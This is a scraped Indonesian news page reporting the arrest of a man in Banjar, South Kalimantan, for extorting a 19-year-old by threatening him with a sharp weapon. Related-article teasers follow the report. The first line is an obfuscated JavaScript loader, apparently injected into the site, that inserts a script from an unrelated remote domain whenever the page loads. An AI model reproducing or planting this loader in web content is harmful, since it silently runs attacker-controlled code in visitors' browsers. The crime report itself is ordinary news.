(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang lelaki MA (29) seorang karyawan swasta tinggal di Desa Bawahan Selan, Kecamatan Mataraman, Kabupaten Banjar, dibekuk polisi gegara dituduh melakukan tindak pemerasan.
Tindak pemerasan terjadi di rumah MA (29) di Desa Bawahan Selan, Jalan Puskesmas Kecamatan Mataraman, Kabupaten Banjar, Kalimantan Selatan.
Kasi Humas Polres Banjar AKP H Suwarji mengatakan, dugaan tindak pemerasan bermula pada Sabtu (7/11/2023), sekitar pukul 11.00 Wita, MA mengambil kesempatan dan memanfaatkan informasi yang diperolehnya melalui pesan WhatsApp yang mesra antara MS (19) dan istrinya. Berdalih percakapan mesra tersebut, MA memaksa MS untuk memberikan sejumlah uang kepadanya. Jika tidak berikan uang, maka MA akan mengancam secara kekerasan menggunakan senjata tajam.
Baca juga: Satpol PP Banjarbaru Garuk Empat PSK di Eks Lokalisasi Pembatuan
Akibat ancaman tersebut, membuat MS merasa ketakutan dan menyerahkan uang sebanyak 10 kali transaksi baik dalam bentuk uang tunai maupun non tunai dengan total mencapai Rp14.470.000.
Merasa terus menerus diperas, MS memutuskan untuk melaporkan MA dengan dugaan pemerasan pada hari Kamis (9/11/ 2023) sekitar pukul 16.00 Wita.
“Setelah menerima laporan dari MS, Unit Reskrim Polsek Mataraman segera melakukan penyelidikan dan melakukan penangkapan terhadap MA. Diketahui MA (29) seorang pekerja serabutan dan tinggal di Desa Bawahan Selan, warga Jalan Puskesmas Kecamatan Mataraman,” kata AKP H Suwarji.
Saat diinterogasi, MA mengakui atas perbuatannyamelakukan aksi pemerasan terhadap MS dengan ancaman kekerasan menggunakan senjata tajam.
Baca juga: Presiden Jokowi Resmikan PLTS Terapung Cirata 192 MWp, Terbesar di Asia Tenggara
Barang bukti yang berhasil diamankan dalam kasus ini meliputi 6 lembar bukti transfer ke aplikasi Dana, sebuah ponsel merek Samsung dan sebuah ponsel merek Vivo.
Selanjutnya pihak kepolisian akan menindak lanjuti proses hukum terkait kasus pemerasan ini, guna menegakkan keadilan dan melindungi hak-hak korban pemerasan. Kasus ini memberikan pelajaran berharga tentang pentingnya melaporkan tindak pidana ke pihak berwajib demi keamanan dan keadilan sosial.
Kepolisian Sektor Mataraman Polres Banjar Polda Kalsel berhasil mengungkap kasus pemerasan sebagaimana dimaksud dalam pasal 368 KUHP. (Kanalkalimantan.com/nh)
Reporter : nh
Editor: bie
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.